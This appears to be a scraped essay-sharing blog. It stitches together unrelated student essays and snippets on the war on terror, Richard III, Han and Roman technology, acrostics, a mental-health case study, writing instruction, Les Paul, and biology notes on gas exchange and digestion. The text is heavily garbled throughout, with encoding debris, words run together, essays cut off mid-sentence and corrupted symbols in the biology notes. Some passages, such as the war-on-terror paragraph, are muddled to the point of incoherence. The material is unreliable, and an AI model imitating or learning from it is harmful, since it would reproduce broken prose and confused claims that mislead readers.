civilian population, distinguishing these techniques from conventional acts of war directed primarily against military targets. Often members are selected and randomly attacked and escorted towards the preplanned violence that is directed against targets specified. Terrorism often targets business corporations in the private sector. However the war on terror suggests measures to identify all the predictable and unpredictable impacts of terrorist influence upon its instant victims. The war against terror develops its intentions to fight and inspire anxiety, even among its' own members of the public which are far removed from its immediate surrounding area, as well as generating widespread moral disgust about the use of these techniques. The war on terror is often considered as a war which is aimed primarily at terrorists but accidentally military targets also suffer thereby inviting 'collateral damage' to occur, where many civilians are accidentally hurt, but this differs from violent acts that are intentionally directed against the general public. One cannot say how much such a war is beneficial for eradicating terrorists but this is for sure that such wars cause moral turmoil among the citizens. (Just et al, 2003, p. 7) The number of US institutes and research centres and 'think thanks' which have now added this subject to their research agendas against 'war on terror' or, have been newly established to specialise in this field
Thursday, January 23, 2020
William Shakespeares Richard III Essay -- William Shakespeare Richard
William Shakespeare's Richard III William Shakespeareââ¬â¢s characterization of Britainââ¬â¢s historical monarch Richard III, formerly Duke of Gloucester, is one of the most controversial in literature. To this day there are arguments upholding Richard IIIââ¬â¢s villainy and ascertaining his murder of the Princes in the tower, just as there are those who believe that he has been falsely represented by Shakespeareââ¬â¢s play and fight avidly to clear his name of any and all crimes. Because of the uncertainty surrounding his true character, Richard III is an intriguing personality to put into modern culture, which is exactly what Ian McKellen does in his rendition of the infamous ruler. However, McKellenââ¬â¢s portrayal of Richard III preserves the basic personality of Shakespeareââ¬â¢s character and continues the idea of Richard III as tyrant and murderer; there is no doubt that McKellen captures the bestial nature of Richard, but even though this main staple of the play is kept intact, there are oth er aspects of this adaptation that are not so true to Shakespeareââ¬â¢s vision. Overall, however, I believe that this is an honest modernization of a classic play, and that Shakespeare would have approved of most of the changes made, with only a few exceptions. The film adaptation of Richard III was relatively straight forward, and certain scenes were more clear on the screen than on the page, but there were several confusing episodes that detracted from an otherwise good rendition of Richard III. Without having read the book first, I feel that a viewer would have been totally lost during the opening scenes of destruction because there are no names given until ten minutes into the film, and even those are dropped rather casually. Because I have read... ... written play there is no such direction to let the audience know that Anne may not be aware of his full intentions or desires. It is entirely possible that when this play was performed in Shakespeareââ¬â¢s time this is exactly how the actor spoke his lines, but it is not clear one way or the other from the printed page. All in all, the film version of Richard III might be even more terrifying and brutal than the print version, because modern audiences will probably connect more with a visual image of atrocity rather than a purely written one. I believe that this is the power of Shakespeareââ¬â¢s workââ¬â it is powerful on paper, but still more powerful in performance. It is performance that lends his work its full potential, and as such the film of Richard III is true to the core argument of Shakespeareââ¬â¢s original text, illustrating the inner beast found in the soul of a man.
Wednesday, January 15, 2020
Han and Roman Attitudes Toward Technology Essay
Technology is an important aspect in all civilizations, and depending on the point of view looked at the opinions vary greatly. Especially when comparing opinions of lower class and upper class people, or gender. During the early first centuries of the Han Dynasty and Roman Empire there were a lot of mixed feelings toward technology. Depending on whose opinion you heard the answer would vary between negative and positive outlooks. Most opinions seemed to have been based off of the following categories, practicality, citizenââ¬â¢s use, and beauty. Opinions varied depending on the major concern of the point of view and the class they belonged to. When opinions were weighed on practicality their major concern was the efficiency of the technology and if it was easy to use. One Han government official wrote to local officials in the early second century (B. C. E) concerning flood prevention (doc. 1). His opinion was well educated because being of an upper class and being a government official meant he was well educated, and also his opinion was of a situation he witnessed and he had proof to support his thoughts. His opinion was unbiased and trustworthy because his concerns were not for himself but for all the people of the civilization. This is proven when he states more organization is needed in order to stay on top of issues that affect everyone of the dynasty. He felt technology was advanced enough to prevent flooding more efficiently but there needed to be a greater effort into establishing a greater number of water conservation offices in each district. Overall he did not believe that technology was lacking but the organization of the use of technology was. Huan Tan, an upper-class philosopher in about 20 C.à E also had an opinion weighing on practicality (doc. 3). Being a philosopher you can assume he was well educated and therefore his opinion is educated. Huanââ¬â¢s point of view was based on practicality because he had a positive opinion on technology due to the efficiency and usefulness of tools and the fast progression of it. He proves the technology is efficient by stating facts like that the pestle and the mortar were modified and were made capable of allowing the weight of the whole body to be used. Since Huan included these sorts of facts it shows heââ¬â¢s well educated in the area of technology. Overall Huan Tan had a very positive outlook on technology, feeling that it evolved at a steady pace. The source History of the Early Han Dynasty was a government sponsored source that comes from the period of about 200 C. E. (doc. 4). This opinion is clearly biased and untrustworthy because its government sponsored and therefore was written to support the government and make it look successful. This is proven when the governor of Nanyang, Tu Shui is made to look good by the statement that he improved technology because he loved his people so much he wanted to make life easy as possible for them. Although this point of view is untrustworthy it is still weighed on practicality due to the supposed concern of the efficiency and having technology be beneficial without having to do much work. The last opinion formed by practicality was one of a Seneca upper ââ¬âclassman philosopher and adviser to Emperor Nero (doc. 7). This point of view again is someone of a higher class with more money and therefore does not rely on technology as much as someone of a lower class. His opinion of technology was negative; he believed tools were invented by unintelligent men. His opinion was based off of practicality and was proven by his statement that recent inventions were not only inefficient but also were useless. He felt inventors no longer, no matter how intelligent, did not think outside the box and only tackled mild issues that were not of large concern. Overall he felt greater issues needed to be taken on by people of both intelligence and creativity. Other opinions seemed to have most concern with citizenââ¬â¢s use. When weighing on this, the point of view was most affected by the knowledge of who used the technology or the convenience of the access to the technology. A government official by the name if Huan Guan has a negative outlook on technology based off of citizenââ¬â¢s use (doc. 2). This perspective is from an educated upper class man who therefore does not do much manual labor. Foundry work and salt boiling were at one time allowed to be done by workers as long as they followed two conditions, they has to report they were doing so and they had to pay a tax. During the earlier time the tools that were used to do these jobs were made by families and were efficient and well-made. Later on the state forced citizens to only use the iron tools manufactured by them, which were nonfunctional. This is known as convict labor, and in doing so they also monopolized the salt and iron trades. This issue angered Huan Guan because this caused the salt and iron prices to rise and made it so lower class citizens could not afford to buy either. Huan felt technology was being weakened by the government and that making it more difficult for families to continue their businesses was not right. Another opinion based off of citizenââ¬â¢s use was one of a Cicero upper-class Roman political leader of the first century (B. C. E. ). This opinion comes from an upper class man who does not do any handy-work and therefore cannot state and accurate opinion on technology. He believed there was a fine line between the difference of a ââ¬Å"gentlemanâ⬠and a man. He felt certain jobs were degrading to men, such as manual labor or ââ¬Å"handy workâ⬠. He states, ââ¬Å"Vulgar and unbecoming to a gentleman are all the jobs hired workers take onâ⬠¦Ã¢â¬ (doc. 5). He feels the work they do is paid by the labor they do and not the skill of their work. In conclusion he doesnââ¬â¢t see any importance in the area of technology, also he doesnââ¬â¢t necessarily have a negative nor positive opinion he just doesnââ¬â¢t value it, h cares more about his status. The last source weighed on citizenââ¬â¢s use is one from Frontinus, a Roman general, governor of Britain and water commissioner for the city of Rome (doc. 8). His opinion is biased because he is governor of Britain and therefore feels his civilization is the most advanced and has the greatest technology because he is in charge of it. This is shown when he says that Roman technology exceeds any other including both the Egyptianââ¬â¢s and the Greeks. Frontinus feels that the works of those two civilizations are useless, he states, ââ¬Å"Compare such numerous and indispensible structures carrying so much water with the idle pyramids, or the useless but famous works of the Greeks. â⬠He feels only Roman technology has both the beauty aspect while still being efficient. He feels his technology is so successful because the aqueducts were so successful they made it possible for people of any class to have an abundance of water, which proves his opinion was based on citizenââ¬â¢s use. Lastly, some opinions were made by the beauty of technology. Very simply this is when the point of view is confirmed by the appearance rather than the efficiency or usefulness of the technology. Plutarch, a Greek-born Roman citizen and high official of the second century describes Gaius Gracchus a Roman political leader of the first centuryââ¬â¢s opinion on technology (doc. 6). This source is unreliable because it is not a primary source and therefore is not as reliable because the opinion could have been slightly altered by misinterpretation or on purpose. The major concern according to this source, of Gaius Gracchus was the appearance of everything and not the usefulness of it; he wanted everything to be pleasing to the eye. All roads were straight; both sides of bridges had to be ââ¬Å"equal and parallel height with the result that the road for its entire course had a level and beautiful appearance. â⬠(doc. 6). Overall the appearance was the greatest factor when it came to Gaius Gracchus. Again just as all the other documents the point of view belonged to an upper-class male, we have no opinions from a woman or someone of a lower class. Out of all the documents the point of view missing in order to truly decipher the overall attitudes towards Han and Roman technology is the opinion of a lower class person such as a peasant. All the documents come from the perspective of an upper-class male. Therefore the ultimate attitude toward the technology of Han and Rome cannot be determined. Each documents perspective varied depending on how they made their opinion, whether it was weighted on practicality, citizenââ¬â¢s use, or beauty.
Tuesday, January 7, 2020
What Is an Acrostic in English
An acrostic is a series of lines in which certain lettersââ¬âusually the first in each lineââ¬âforms a name or a message when readà in sequence. A memory device as well as a type of verbal play, the acrostic has been a popular form of entertainment for over 2,500 years. Acrostic derives from the Greek words end line. Examples of Acrostics The following are examples of Acrostics (follow the bold letters). Acrostic ACROSTIC: are playfulcontrivances of prose or verserendered so that each lineopens or closes with words insequence to read fromtop to bottom, theirinitial or final lettersconstituting a word or phrase. Acrostics as Mnemonic Devices Acrostic mnemonics are sentences in which the first letter of each word is the first letter of one of the things you need to remember...Acrostics are especially useful for long lists of things whose names dont begin with vowels. A famous acrostic for the planets Mercury, Venus, Earth, Mars, Jupiter, Saturn, Uranus, Neptune, and Pluto is My very energetic mother just served us nine pizzas, which can be replaced by My very evil mother just served us newts, should you agree with the 2006 reclassification of Pluto as a dwarf planet rather than a full-fledged one. Double Acrostics A double acrostic spells something out with the first and last letters. For example: Unite and untie are the sameââ¬âso say you.Not in wedlock, I ween, has the unity been.In the drama of marriage, each wandering goutTo a new face would flyââ¬âall except you and IEach seeking to alter the spell in their scene. John Keats's Acrostic Give me your patience, sister, while I frameExact in capitals your golden name;Or sue the fair Apollo and he willRouse from his heavy slumber and instillGreat love in me for thee and Poesy.Imagine not that greatest masteryAnd kingdom over all the Realms of verse,Nears more to heaven in aught, than when we nurseAnd surety gives to love and Brotherhood. A Biblical Acrostic A third key rhetorical feature in Lamentations [a book of the Hebrew Bible] is the acrostic that structures four of the five poems (Lam 1-4)...Several purposes have been offered to explain the use of acrostics, including fulfilling magical rites, aiding memorization of poems, emphasizing completeness, or producing aesthetically pleasing literature (Westermann, 98-100; OConnor). Although there may be multiple purposes behind the use of acrostics, most likely they communicate that the poem expresses totality, and in the case of Lamentations both the total devastating effect of the destruction and the total expression of the pain of those who experienced it. Sources Anonymous, Double AcrosticDictionary of the Old Testament: Wisdom, Poetry Writings, ed. by Tremper Longman and Peter Enns. InterVarsity Press, 2008Evans, Rod L.,à Every Good Boy Deserves Fudge: The Book of Mnemonic Devices. Penguin, 2007Halley, Ned, Dictionary of Modern English Grammar. Wordsworth, 2005Keats, John, Georgiana Augusta Keats
Monday, December 30, 2019
The Source Of Referral Was Referred By An Outpatient...
The source of referral was referred by an outpatient mental health provider, through the request of the Los Angeles County Department of Mental Health. The client was referred to obtain in-home intensive services by a Full Service Partnership (FSP) program. The client referenced in this case will be referred as Alyssa in order to protect this personââ¬â¢s true identity by maintaining confidentiality. Alyssa is a 26 year-old Hispanic female, who has been linked recently to the Full Service Partnership (FSP) program. Alyssa presents to be oriented to time, place, person, and situation. At times, she presents well groomed and other times disheveled. Alyssa is currently facing a life-style transition which has stirred up emotions ofâ⬠¦show more contentâ⬠¦Currently, she has no desire to engage in social activities which is impaired by feelings of sadness. She also reports that she does not have many friends, but the few she has tend to let her down. Alyssa reports her bes t friend is her biological mother. As for having intimate relationships, she will engage in risky sexual activity with any male she meets at a party. Alyssa reports of having multiple incidents of cutting self on her wrists and inner thighs. She states this makes her feel good when she is unable to deal with emotional pain. She reports of battling with bulimia during her teenage years because she felt her weight was inappropriate. Alyssa denies having an eating disorder or using substance abuse at the present time. Though, she reports of not being able to maintain employment and has also been struggling with completing her GED. Alyssa reports she has many goals but has difficulty with following through. Alyssa grew up with her mother, father and brother. She reports having a close relationship with her biological parents; that was until she turned the age of 6. Alyssaââ¬â¢s biological father left the home because he was an abusive husband. He would verbally and physically abuse her biological mother. Since then, Alyssa and her older biological brother were raised by their biological mother. Alyssaââ¬â¢s highest level of education completion is the 9th grade. She is able to read and write proficiently. As for her
Sunday, December 22, 2019
The Development Of Writing And Instruction For Students...
The Development of Writing and Instruction for Students with Learning Disabilities Many students with a learning disability have a hard time grasping the concepts of writing. Having an intervention strategy may help these students when they are learning how to write. A number of studies have been done on trying to determine if using strategies help increase writing performance for students with a learning disability. The four following articles use a variety of interventions to try to increase studentsââ¬â¢ writing performance that include: (a) a self-regulated strategy, (b) a revision strategy, and (c) a training strategy. They did this by looking at students with learning disabilities and implementing a strategy that may help them. All four of these articles take a further look into the topics of the development of writing and instruction and analyzes the importance of writing for our students with learning disabilities. The studies in each article differ depending on the partic ipants, methods, and strategies, but each one brings important information to this topic. Synthesis Students with learning disabilities need to understand the importance of many crucial topics and skills. Some of the skills that are specifically discussed in these articles when looking at the writing process are (a) planning, (b) organizing, (c) composing, and (d) revising. As teachers, we must explicitly and directly teach these skills in order to ensure that our students know how to implement them.Show MoreRelatedEssay about The Demands of Middle School Writing1471 Words à |à 6 PagesAll middle school students, grades 6-8, are required to develop well-written compositions. According to the Louisiana Depart of Education (2008), to meet the demands of the comprehensive curriculum, these students are required to write complex multi-paragraph compositions with a clearly focused main idea and developed with relevant ideas, organization patterns, and structure that communicates clearly to the reader. The grade-level expectation also states that the students are required to use a va rietyRead MoreSpelling: Linking Words to Meaning by John R. Pescosolido1682 Words à |à 7 Pagesfor students with disabilities. For textbooks and other instructional materials to enhance learning by all students, instruction policies and practices should promote astute consideration of the learning characteristics of students with disabilities (Fiore Cook, 2004). The purpose of this paper is to guide the modification of the instructional workbook entitled, Spelling: Linking word to meaning, as appropriate to fit the reading and spelling needs of middle school special education students. TheRead MorePROBLEM What is the one subject area that suffers the most during testing? Writing is our countryââ¬â¢s1300 Words à |à 6 PagesPROBLEM What is the one subject area that suffers the most during testing? Writing is our countryââ¬â¢s greatest failure. We need to teach better writing and that happens through better instruction in language arts, mathematics, science, and social studies. Writing can be explained through reading, note taking, and journaling. Students do not write enough and their writing is not from a varied amount of genres, such as expository, narrative, descriptive, persuasive, and journaling and note taking. MyRead MoreSkills Are An Imperative Part Of Communication Skills For Students1496 Words à |à 6 Pagesfactors in the academic processâ⬠(Crouch Jakubecy, 2007, p.3). Writing skills are an imperative part of communication skills for students throughout their entire lives. Even though computers seem to be the choice for writing, research shows there is a need for handwriting skills. Handwriting skills are connected directly to successful writing. Students spend over half their day on writing activities. If a student has difficulties writing legibly, copying work and keeping up with written assignmentsRead MoreSpecial Needs Students Are Struggling With The Common Core Writing Standards1631 Words à |à 7 PagesSpecial Needs Students are Struggling with the Common Core Writing Standards ââ¬Å"The Kentucky Department of Education argues that the Common Core standards ensure students have the ââ¬Ëopportunity to learn the skills that are deemed most important and relevant to the world today,ââ¬â¢Ã¢â¬ (Burks, et al., 2015). Every child deserves to have a quality education, no matter their circumstances. Whether it is their mental health, where they live, or economic background, every student should have the opportunityRead MoreUse of Technology in School949 Words à |à 4 Pagesschool has a philosophy of developing customized learning plans for each of the sixth to twelfth grade students with a focus on their strength areas, while identifying the areas for development and also guiding them on an excellent path in a private and yet supporting atmosphere. 2.A description of the range of children included in the class, including those with and without particular types of exceptionality and/or special needs Most of the students are perfectly able bodies and of sound mentalRead MoreWhy Do We Use Portfolios As An Assessment?1693 Words à |à 7 Pages Why do we use portfolios as an assessment ? Student assessment portfolios promote positive student involvement. As students create their portfolios, they are actively involved in and reflecting on their own learning. This means that the teacher can individualize instruction for the student. Portfolios are a form of alternative/authentic assessment in which a student s progress is measured over a period of time in various language learning contexts. Portfolios can include evidence of specificRead More Learning Disabilities Essay1293 Words à |à 6 PagesLearning Disabilities Approximately 10 percent of the adult population have learning disabilities. Learning disabilities also affect about 5 to 10 percent of school-age children. Most disabilities occur in math, spelling, reading comprehension, oral expression, and written language. The most common learning disabilities are in reading. Children with learning disabilities also have problems with attention, memory, and behavioral problems as a result of frustration. The term learning disabilitiesRead MoreUnderstanding Special Education Essay example1239 Words à |à 5 PagesSpecial education involves the education of students with special needs in a way that addresses a studentsââ¬â¢ individual disabilities and requirements. These programs are designed so that special learners may learn skills which will assist them in coming closer in learning to children without disabilities. The field of special education has moved from a perspective of protection and caretaking to an emphasis on learning and growth. The question is not whether students can learn but how much they can learnRead MorePerformance Goals for a Child with Learning Disabilities Essays586 Words à |à 3 Pagesprocessing. Unfortunately, local committee and special education has classified him as Learning Disabled. Learning Disability encompasses numerous types of learning problems. Following are 3 main Learning Disabilities he carries. ol li value=1 Reading li value=2 Writing li value=3 Precision or awareness li value=1 Reading: /ol Most ordinary characteristics of student with Learning Disability is Reading. Carlos has reading obscurity, most of the time he lose his place when
Friday, December 13, 2019
Les Paul Free Essays
Thesis Statement Within the very foundation of rock, blues, jazz and pop, the very same inventions of Les Paul denotes guitar-heavy music with an extreme debt owed to him.à Les Paul guitar models, Telecaster and the Gibson, are the most popular electric guitars among rock performers. The effects have been wide ranging, from rock and rolls Grateful Dead guitarist Jerry Garcia to legendary jazz great Duke Ellington, Les Paul has had a profound influence on musicians not only in the United States but around the world as they listened to his records and copied his style. We will write a custom essay sample on Les Paul or any similar topic only for you Order Now The history of the modern jazz guitar began with many who played with Benny Goodman, (In Los Angeles in 1942, Les played with Nat King Cole on ââ¬Å"Bluesâ⬠). During his years on the main jazz scene, he revolutionized guitar playing. To be sure, there were guitarists with a longer history but it almost seems as if there are two different types of guitars.à What played before Les Paul and what played after he finished. Before Paul, the guitar was essentially an instrument of rhythm and harmonic accompaniment. Paul was known interestingly enough to develop guitar leads as he was simply creating the sound of many guitars and singers from one guitar and one voice. From the development of the electric guitar to the tape recorder were all possible only through the innovative vision of Les Paul.à Paulââ¬â¢s ingenious overdubbing or layered construction process of recording music was revolutionary. Les Paul Examining the development of original American music, whether itââ¬â¢s blues, country, jazz or rock, the reader has found, intertwined that in American music all roads lead to the guitar which in turn leads to Les Paul. Like all ironies of the truth, Les Paulââ¬â¢s interest in music began at age eight with an interest in the harmonica.à Itââ¬â¢s been said the inspiration came from a Waukesha ditch digger. Even though he played the piano professionally, his formal musical training consisted of a few unsuccessful piano lessons. A bad automobile accident in Oklahoma in January 1948 almost silenced his music forever.à à He could not play the guitar for a year and a half.à It also gave him two choices; the first was to have the arm amputated or have the right arm set at a permanent right angle suitable for guitar playing.à Clearly he chose the latter. Les Paul is the most significant contributor in the development of modern electric instruments and recording technology. Paul has lead the way in the development of the Gibson Les Paul guitar, bearing his name; the solid-body electric guitar.à This concept was developed under his design. To this day, the Gibson is one of the most well known and market tested models that still stands up as an excellent product.à On merits of its own that would satisfy as a single most important contribution to the music industry, Les Paul also the developed the multi-track recording process and various reverb and echo effects. Technically, the guitar is a fretted, stringed instrument, and is a member of the lute family.à Originating from Persia, the instrument reached Spain during the 12th century. Through the years, the guitar has shown versatility as both a solo and accompanying instrument. In essence, Paul was unsatisfied by the electric guitars available in the mid 1930s so he began to experiment with the design the basic guitar. The product solved two main problems for guitar players; the ââ¬Å"feedbackâ⬠and ââ¬Å"sustainâ⬠issues, respectively. Les Paul designed and constructed one of the first solid-body electric guitars in 1941.à Based on Paulââ¬â¢s designed in the early 1950ââ¬â¢s, the Gibson Guitar Corporation of Nashville, Tennessee designed a guitar integrating Paulââ¬â¢s properties. Subsequently, the company and Paul got together and professional relationship was established. Hence, what is now known as the ââ¬Å"Les Paulâ⬠model was born. Originally it was developed only in a ââ¬Å"gold topâ⬠version which was the central part of the agreement between Paul and Gibson.à However there were a few rough spots along the way between the two entities. Gibson Les Pauls were modified by the company over the years and clearly Paul always preferred to oversee the process. à But in the end Paul resumed his relationship with Gibson, and endorses the instrument even today. To this day, the Gibson Les Paul guitar is used all over the world, both by novice and professional guitarists. Multi-track recording In an experiment that bean in Les Paulââ¬â¢s garage, Paul played eight different parts on electric guitar, some of them recorded at half-speed, hence ââ¬Å"double-fastâ⬠when played back at normal speed for the master. Paul would record a track onto a disk, and then record himself playing another part with the first. This was the first time that multi-tracking had been used in a recording. Capitol Records released the recording ââ¬Å"Brazilâ⬠in 1947. ââ¬Å"As multi-track recording gradually became standard practice in rock, the distinction between recording and mixing as separate stages of a project grew. It is not uncommon at the mixing stage to move a project to a different studio or to hand over recorded tracks to a new engineer. (Zak, pg 128) Making records is intrinsically a collaborative creative process, involving the efforts of a team whose members interact in various ways. Because of Les Paulââ¬â¢s the ââ¬Å"artistâ⬠is mostly the tasks involved in making a record. Pre and post production has become the foundation to many artistsââ¬â¢ careers, once again thanks to Les Paul. Without equal, even within todayââ¬â¢s music industry a legacy of innovations has been handed down by Les Paul and taken up by Van Halen, Joe Satriani and Steve Vaiââ¬â¢s playing and guitar designs as they too help to redefine the instrument. (Bennett, pg 7) Les Paul has had a staggeringly life long influence over the way American and world popular music has sounded over the last 5 generations.à Even today the influence is honored and recognized and as on of the most significant impact upon the jazz, blues, rock, hip hop music worlds. What seems most striking about Les Paul, even at the age of 91, is how he has bridged popular music-making and technology. Paul touches on what will be central issues in the aesthetics of production and reception in pop: relations between the performersââ¬â¢s body and instrument, how sounds are attached to instruments and the way musical sounds. And because of him, in homes that could scarcely afford furniture of any kind, let alone a piano, the heart of the musician, found its outlet wood or metal across which a few wire strings. Reference(s) Zak III, Albin J.à à The Poetics of Rock: Cutting Tracks, Making Records. Publisher: University of California Press. Place of Publication: Berkeley, CA. Publication Year: 2001. Page Number: 128. Bennett, Andy Guitar Cultures Publisher: Berg. Place of Publication: New York. Publication Year: 2001. Page Number: 7. à à à à How to cite Les Paul, Essay examples
Thursday, December 5, 2019
Gas Exchange Essay Research Paper Gas Exchange free essay sample
Gas Exchange Essay, Research Paper Gas Exchange 3.1 # 216 ; Surface country to volume ratio # 216 ; Exchange of gases occurs by diffusion at surface Whereas # 216 ; Production of wastes and usage of resources occurs in the volume # 216 ; Therefore, as organisms addition in size they have proportionally less surface country compared to volume # 216 ; Adaptations ? level, thin, ribbed organic structures increase exchange surfaces 3.2 # 216 ; As beings get larger? they must hold exchange surfaces within them # 216 ; all are damp, thin permeable, big surface country Plants Spongy/Palisade Mesophyll Air straight contacts cells Insects Ends of tracheoles Air straight contacts cells Fish Gill Lamellae O2 absorbed by blood pigments so delivered to cells Mammals Alveoli O2 absorbed by blood pigments so delivered to cells Ventilation # 216 ; Aim ? maintain concentration gradient # 216 ; Remove CO2 rich O2 hapless air # 216 ; Supply O2 rich CO2 hapless air # 216 ; Move respiratory medium over exchange surface # 216 ; Insects ? larger insects make pumping motions of the venters, which crushes the air pouch and helps to travel air # 216 ; Fish ? travel operculum out, buccal pit up? hence one manner flow of H2O over the gill gill? counter current flow of H2O against the way of blood flow # 216 ; Mammal ? Tidal flow of air? motion of stop and ribs Control of Breathing # 216 ; Involuntary # 216 ; Respiratory Centre is bundle of nervousnesss in myelin oblongata # 216 ; Urges are sent to the stop and external intercostal musculuss doing them to contract # 216 ; As lungs expand stretch receptors in airway sense and direct back info # 216 ; Meeting Demand # 216 ; CO2 degrees vary harmonizing to exercising # 216 ; As Carbon dioxide goes up? pH goes down # 216 ; Chemoreceptors sense this # 216 ; Receptors in the myelin oblongata # 216 ; Carotid organic structures in the carotid arteries # 216 ; Aortal organic structures in the aortal arch # 216 ; As chemoreceptors sense addition in CO2 or lessening in pH, urges are sent to the respiratory Centre, this sends impulses to the stop and intercostal musculuss increase the rate of airing. We will write a custom essay sample on Gas Exchange Essay Research Paper Gas Exchange or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Oxygen/Haemoglobin Dissociation Curves 3.7 ( portion ) # 183 ; Red blood cells contain hemoglobin ( Hb ) which transports all of the O around your organic structure and most of the CO2 # 183 ; Each Hb molecule can transport up to four O2 molecules.However, # 183 ; The relationship between O2? concentration ( partial force per unit area of O2 P O2 ) and how much is taken up by Hb ( % impregnation ) is non additive, it is # 8216 ; S # 8217 ; shaped ( sigmoid ) # 183 ; This is because a wholly # 8216 ; empty # 8217 ; Hb molecule takes up the first O2 instead # 8216 ; reluctantly # 8217 ; , so takes up the staying three quickly, and eventually it is # 8216 ; full # 8217 ; and won # 8217 ; Ts take up any more. # 183 ; Loading: In the lungs the pO2 is really high, so Hb is # 8216 ; filled up # 8217 ; ( saturated ) with O2, represented by the level # 8216 ; top # 8217 ; of the curve # 183 ; Transporting: As the Hb travels through arterias and arteriolas, pO2 beads, but non plenty for the Hb to give up any O, we are still in the level part at the top. # 183 ; Droping: When the Hb reaches capillaries which are following to actively respiring cells, pO2 is much lower, due to O being consumed to do ATP. Here, Hb is # 8216 ; emptied # 8217 ; of its O, which diffuses to the cells. This is represented by the steep portion of the curve in the center of the # 8216 ; S # 8217 ; . # 183 ; The relationship between P O2 and Hb impregnation is non fixed, the form of the curve alters in response to assorted conditions: Condition Effect on curve Overall consequence Increased pCO2 Shifts to the right ( Bohr displacement ) At any given pO2, Hb will be less concentrated, so O will be given up more easy Increased temperature Shifts to the right At any given pO2, Hb will be less concentrated, so O will be given up more easy Increased pH ( alkaline ) Shifts to the left At any given pO2, Hb will be more concentrated, so O will be given up less easy # 183 ; This makes good sense, if cells are actively respiring they produce CO2, heat up and go more acidic ( due to fade out CO2, and production of lactic acid ) , all these things cause the curve to travel to the right, so O is given up easy. This O is exactly what actively respiring cells need! # 183 ; Other illustrations: Foetal Hb is to the left of its female parent # 8217 ; s ( so it can # 8217 ; steal # 8217 ; O from her blood via the placenta ) . Myoglobin, in musculuss has a curve to the left of Hb ( it besides # 8217 ; bargains # 8217 ; O from Hb, and retains it as a shop and merely gives it up at really low pO2 ) . # 183 ; Finally, Hb carries CO2 by agencies of a series of reactions ( catalysed by carbonaceous anhydrase ) which consequence in the production of H ions and hydrogencarbonate ions. The H ions are taken up by Hb, intending that Hb acts as a buffer, absorbing extra acid. The hydrogencarbonate diffuses into the plasma, in exchange for chloride ions ( the chloride displacement ) .CARDIAC CYCLE AND ITS CONTROL # 183 ; The bosom musculus is? myogenic ( contracts without stimulation ) # 183 ; The sino-atrial node coordinates the bosom round so that the musculus cells contract together. # 183 ; The SAN is in the right atrium next to the vein cava # 183 ; Specialised musculus ( Purkinje ) fibres radiate out from the node and do atrial contracton ( systole ) # 183 ; These stimulate the AVN, on the septum at the junction of the atria A ; ventricles # 183 ; The AVN causes a clip hold which ensures the ventricle contracts after the atria # 183 ; The package of His ( Purkinje fibres ) pass down the septum to the vertex of the ventricles # 183 ; These first cause contraction of the papillose musculuss which tenseness the cuspid valves # 183 ; Ventricular systole radiates upwards from the vertex # 183 ; Once the electrical stimulation has died away the bosom Chamberss relax ( diastole ) CONTROL OF HEART RATE # 183 ; The SAN sets a resting bosom rate # 183 ; Blood O2 A ; CO2 degrees are detected by chemoreceptors of the Aortic A ; Carotid bodies # 183 ; These send nervus urges to the cardiovascular Centre of the myelin # 183 ; The myelin has chemoreceptors which besides detect CO2 # 183 ; If CO2 drops the CV Centre sends nerve urges along parasympathetic nervousnesss to the SAN, which reduces bosom rate ( vagus nervus ) # 183 ; If CO2 goes up the CV Centre sends nerve urges along sympathetic nervousnesss to the SAN, which increases bosom rate ( gas pedal nervus ) # 183 ; Epinephrine can besides move straight on the SAN, mirroring the consequence of sympathetic nervousnesss # 183 ; CO2? dissolves in H2O to let go of H ions which decrease the pH and increase the sourness # 183 ; The bosom rate is controlled so that the demands of the organic structure are met with the minimal cardiac end product. ? PRESSURE A ; VOLUME CHANGES A ; VALVES # 183 ; Valves stop the backflow of blood within the bosom and as blood exits the bosom # 183 ; Muscular contraction ( systole ) causes an addition in hydrosatic force per unit area in the bosom. # 183 ; When the valves open the volume of the bosom chamber lessenings # 183 ; Blood ever attempts to flux from high to low force per unit area unless valves stop it # 183 ; Valves open or near when force per unit area lines cross ( on graph ) # 183 ; The bosom empties from the underside up. ELECTRICAL ACTIVITY # 183 ; P is the hint produced by stimulation of atrial systole # 183 ; QRS is the hint produced by venricular systole CIRCULATION AND BLOOD VESSELS # 183 ; Blood leaves the bosom in jets when the ventricle contacts # 183 ; In arterias, this is foremost pushed along by snap and so by a peristaltic pulsation # 183 ; In the tissue capillaries this is smoothed out to a changeless flow by the arteriolas, in the lungs, the blood continues to flux in pulsations # 183 ; Throughout circulation there is a force per unit area bead # 183 ; Fluid leaves the arteriolas and bathes the tissues, because the hydrostatic force per unit area outwards exceeds the difference in H2O possible ( osmotic force per unit area ) # 183 ; Most is drawn back into the venulas by the solute potency of the blood proteins ( osmotic potency ) , some returns via the lymph # 183 ; Blood flow is the fastest where the entire cross sectional country is least. # 183 ; The same volume of blood must come in and go forth the bosom per minute but the force per unit area is different Digestion Q Mammals have a intestine to digest so absorb nutrient Q The generalized construction of the mammalian intestine wall Q Epithelium Q Lumens? ? Q Muscle beds? ? Q How different parts of alimental canal are adapted for their functionq Motion of nutrient through vermiculation Q How? ? Q Sites of production and action of Amylases? Mouth Starch to Maltose Endopeptidases Stomach/Pancreas? Pepsin/Trypsin Polypeptides into smaller ironss Exopeptidases Pancreas and intracellular ( little intestine epithelial cells ) Cuts di and tripeptides into single amino acids Lipase Pancreas Fats into monoglycerides and fatty acids Maltase intracellular ( little intestine epithelial cells ) Breaks maltose into glucose Bile Liver Not an enzyme? emulsifies fats into smaller droplets q Mechanisms for soaking up in the ileumq Structure of a liver lobuleq Control of Digestive Secretions Q Nervous? sight odor Q Hormonal Gastrin Presence of nutrient in the tummy Stomach secretes pepsin and hydrochloric acid? Begins muscular motion of tummy Cholecystokinin Presence of acidified chyme in duodenum causes cells in the mucous membrane of duodenum to release endocrine into blood stream Pancreas secretes enzymes? Gall vesica secretes bile Secretin Presence of acidified chyme in duodenum causes cells in the mucous membrane of duodenum to release endocrine into blood stream Effectss liver ( gall ) and Pancreas? fluid? non? enzymic constituents of pancreatic juice Q Liver Q Blood sugar Q Glycogenesis doing animal starch from glucose Qs Glycogenolysis interrupting up animal starch into glucose Q Gluconeogenesis? doing glucose from non-carbohydrate beginnings ( fats and proteins ) q Functions of insulin ( traveling down ) and glucagon ( traveling up ) in commanding blood sugar levelsq Transamination? altering one amino acid into another ? non possible to synthesis indispensable amino acids ( must be obtained from diet3.8? ? ? ? ? ? ? ? ? Elimination and OsmoregulationMost inquiries in the test ask about some, or all, of the followers: # 183 ; The kidney, specifically: # 183 ; which substances move, # 183 ; 